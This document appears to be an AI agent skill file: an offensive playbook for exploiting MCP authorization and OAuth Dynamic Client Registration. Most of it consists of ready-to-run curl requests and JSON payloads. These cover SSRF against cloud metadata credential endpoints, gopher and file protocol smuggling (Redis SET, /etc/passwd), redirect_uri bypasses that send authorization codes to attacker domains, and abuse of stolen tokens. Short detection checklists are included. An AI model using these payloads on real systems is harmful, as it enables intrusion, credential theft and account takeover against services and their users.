mcp-auth-exploitation · git:20260529.0ab6ab0 · 2026-05-29 · sha256 9300596c527d3da5
mcp-auth-exploitation git:20260529.0ab6ab0B
Immutable. This exact content is served forever at /api/v1/blob/9300596c527d3da5.
---
name: mcp-auth-exploitation
description: Exploit MCP authorization flows — CIMD SSRF via client_manifest_uri/logo_uri/jwks_uri, Dynamic Client Registration abuse, token scope inflation in multi-agent chains, confused deputy attacks. Use when target exposes MCP authorization, OIDC Dynamic Client Registration (RFC 7591), or multi-agent token delegation.
---
# MCP Authorization & Dynamic Client Registration Exploitation
Covers two related attack surfaces: (1) MCP's Client Identity Metadata Documents (CIMD) architecture where authorization servers fetch attacker-controlled manifests, and (2) RFC 7591 Dynamic Client Registration (DCR) abuse on any OAuth/OIDC stack. Both share the same core primitive: the server makes outbound requests to attacker-specified URLs and trusts attacker-supplied metadata.
## When to Use
- `/.well-known/openid-configuration` exposes a `registration_endpoint`
- Target implements MCP authorization with `client_manifest_uri` support
- Multi-agent/tool architecture where tokens pass across service boundaries
- OAuth server accepts `client_metadata` or `client_metadata_uri` parameters
- Any OIDC provider with open or semi-open dynamic registration
## 1. Reconnaissance: Find Registration Surfaces
### OIDC Discovery
```bash
# Check for registration_endpoint in OIDC config
curl -s https://TARGET/.well-known/openid-configuration | jq '.registration_endpoint, .grant_types_supported, .token_endpoint'
# Also check OAuth-specific metadata
curl -s https://TARGET/.well-known/oauth-authorization-server | jq '.registration_endpoint'
```
If `registration_endpoint` exists, test it unauthenticated:
```bash
curl -X POST https://TARGET/openid/connect/register \
-H "Content-Type: application/json" \
-d '{
"redirect_uris": ["https://ATTACKER.com/callback"],
"client_name": "test",
"grant_types": ["authorization_code", "client_credentials"],
"response_types": ["code"]
}'
```
**Checkpoint:** 201 with `client_id` + `client_secret` in response = open registration confirmed. Check `client_secret_expires_at` -- value of `0` means non-expiring secret. If 401/403, registration requires authentication.
### MCP CIMD Detection
MCP authorization servers may accept `client_manifest_uri` on the `/authorize` endpoint:
```
GET /authorize?response_type=code&client_manifest_uri=https://ATTACKER.com/client.json&redirect_uri=https://ATTACKER.com/callback
```
If the server fetches `client.json` from your domain, you have SSRF.
## 2. SSRF via Client Metadata Fetching
The authorization server makes outbound HTTP requests to fetch client metadata. Three injection points:
### Primary: client_manifest_uri
```bash
# Cloud metadata (AWS)
GET /authorize?client_manifest_uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Cloud metadata (GCP)
GET /authorize?client_manifest_uri=http://metadata.google.internal/computeMetadata/v1/
# Cloud metadata (Azure)
GET /authorize?client_manifest_uri=http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Internal services
GET /authorize?client_manifest_uri=http://localhost:8080/admin/status
GET /authorize?client_manifest_uri=http://10.0.0.1:9200/_cluster/health
```
### Secondary: Fields Within Fetched Documents
If the server fetches your `client.json`, fields within it trigger additional requests:
```json
{
"client_name": "legit-looking-app",
"redirect_uris": ["https://legit.com/callback"],
"logo_uri": "http://169.254.169.254/latest/meta-data/",
"jwks_uri": "http://internal-service:8080/admin",
"policy_uri": "http://10.0.0.1:6379/",
"tos_uri": "http://localhost:9200/_cat/indices",
"client_uri": "http://metadata.google.internal/computeMetadata/v1/project/attributes/"
}
```
`logo_uri` is fetched to display in consent screens. `jwks_uri` is fetched to validate client assertions. Both are common secondary SSRF vectors.
### Protocol Smuggling
If the HTTP client doesn't restrict protocols:
```json
{
"jwks_uri": "gopher://internal-redis:6379/_SET%20pwned%20true%0D%0A",
"logo_uri": "file:///etc/passwd",
"client_uri": "dict://internal-memcached:11211/stats"
}
```
### Redirect-Based SSRF Amplification
Host a redirect chain on your server to bypass URL scheme validation:
```
client_manifest_uri=https://ATTACKER.com/redir
→ 302 Location: http://169.254.169.254/latest/meta-data/
```
Servers that validate the initial URL scheme (https only) but follow redirects to http:// are vulnerable. Test with 301, 302, 307, and 308 — behavior differs per HTTP client library.
**Checkpoint:** After SSRF attempts, check whether responses are reflected in the registration response or error messages. If reflected, extract data directly. If blind (no content returned), chain with `ssrf-redirect-loop` for error differential exfiltration.
## 3. Domain Validation Bypass in redirect_uris
Weak validation of `redirect_uris` allows authorization code theft:
### Substring/Contains Check
```json
{"redirect_uris": ["https://legit.example.com.evil.com/callback"]}
```
If validation uses `.contains("example.com")` or regex without anchors, the attacker domain passes.
### Path Traversal in Redirect
```json
{"redirect_uris": ["https://legit.example.com/callback/../../../evil.com/steal"]}
```
Some URL parsers normalize the path after validation.
### Fragment/Query Injection
```json
{"redirect_uris": ["https://legit.example.com/callback?next=https://evil.com"]}
```
If the server appends `?code=` to a redirect_uri that already has query params, the code may leak via the `next` parameter.
### Open Redirect Chain
Register with a legitimate redirect_uri that has an open redirect:
```json
{"redirect_uris": ["https://legit.example.com/login?returnTo=https://evil.com/steal"]}
```
The code arrives at the legitimate domain then gets forwarded to the attacker.
## 4. Grant Type Abuse After Registration
Once you have a registered client, test which grant types actually work:
```bash
# client_credentials — direct token issuance
curl -X POST https://TARGET/oauth/token \
-d "grant_type=client_credentials&client_id=ATTACKER_CLIENT&client_secret=SECRET&scope=openid"
# device_code — social engineering vector
curl -X POST https://TARGET/oauth/device/code \
-d "client_id=ATTACKER_CLIENT&scope=openid profile email"
# CIBA — backchannel auth targeting arbitrary users
curl -X POST https://TARGET/oauth/bc-authorize \
-d "client_id=ATTACKER_CLIENT&client_secret=SECRET&scope=openid&login_hint=victim@target.com"
# token-exchange (RFC 8693) — escalate tokens
curl -X POST https://TARGET/oauth/token \
-d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange&subject_token=STOLEN_TOKEN&subject_token_type=urn:ietf:params:oauth:token-type:access_token&client_id=ATTACKER_CLIENT&client_secret=SECRET"
```
**Checkpoint:** Decode issued tokens with `echo "TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.scope, .aud'`. If `scope` includes internal resources or `aud` is unrestricted, proceed to scope inflation testing. If `client_credentials` returns a token, test cross-service reuse: `curl -H "Authorization: Bearer TOKEN" https://target.com/api/admin/users`.
## 5. Token Scope Inflation in Multi-Agent Chains (Confused Deputy)
MCP and multi-agent architectures often pass tokens downstream without scope reduction (RFC 8693 Token Exchange absent).
### Testing Methodology
1. **Intercept agent-to-tool traffic** (proxy the MCP tool server)
2. **Inspect token scopes** at each delegation hop — are they reduced?
3. **Test token reuse** — can a token received by Tool C access resources meant for Agent A only?
4. **Check audience binding** — does the token's `aud` claim restrict which services can accept it?
```bash
# Decode token at each hop and compare scope/aud
echo "TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.scope, .aud'
# Test cross-service token reuse
curl -H "Authorization: Bearer TOOL_C_TOKEN" https://target.com/api/admin/users
```
**Checkpoint:** If token scopes are not reduced at each hop, or if `aud` is missing/wildcard, report as confused deputy. If tool receives refresh token, report persistent access beyond intended session.
## 6. Detection Checklist
- [ ] `/.well-known/openid-configuration` exposes `registration_endpoint`
- [ ] Registration endpoint accessible without authentication
- [ ] `client_manifest_uri` accepted on `/authorize` (triggers outbound fetch)
- [ ] `logo_uri`, `jwks_uri`, `client_uri` in client metadata trigger server-side fetches
- [ ] `redirect_uris` validated by substring/contains rather than strict parse
- [ ] `client_credentials` grant type accepted for dynamically registered clients
- [ ] `device_code` or CIBA grant types available (social engineering vectors)
- [ ] Tokens issued to registered clients scoped to internal resources
- [ ] `client_secret_expires_at: 0` (non-expiring secrets)
- [ ] Multi-agent token delegation without scope reduction (RFC 8693 absent)
- [ ] OTK/gateway OpenAPI spec exposed at `/apidocs/` or `/swagger/`
## Chain With
- ssrf-ip-filter-bypass (encoding bypasses when SSRF target filters IPs)
- ssrf-redirect-loop (upgrade blind SSRF from logo_uri/jwks_uri fetches)
- oauth-flow-hijack (steal authorization codes after registering rogue client)
- auth-matrix-testing (test token scope boundaries across services)
- 403-bypass (access registration endpoint behind WAF/proxy restrictions)
## Reference
- RFC 7591: OAuth 2.0 Dynamic Client Registration Protocol
- RFC 8693: OAuth 2.0 Token Exchange
- MCP Authorization Specification (CIMD threat model)
- https://blog.criticalthinkingpodcast.io/p/hackernotes-ep-169-oauth-2-1-mcp-authorization-security (synthesis article)
- ASN Bank DCR report (Bounties/asnbank/) — real-world DCR exploitation on Broadcom Layer7 OTK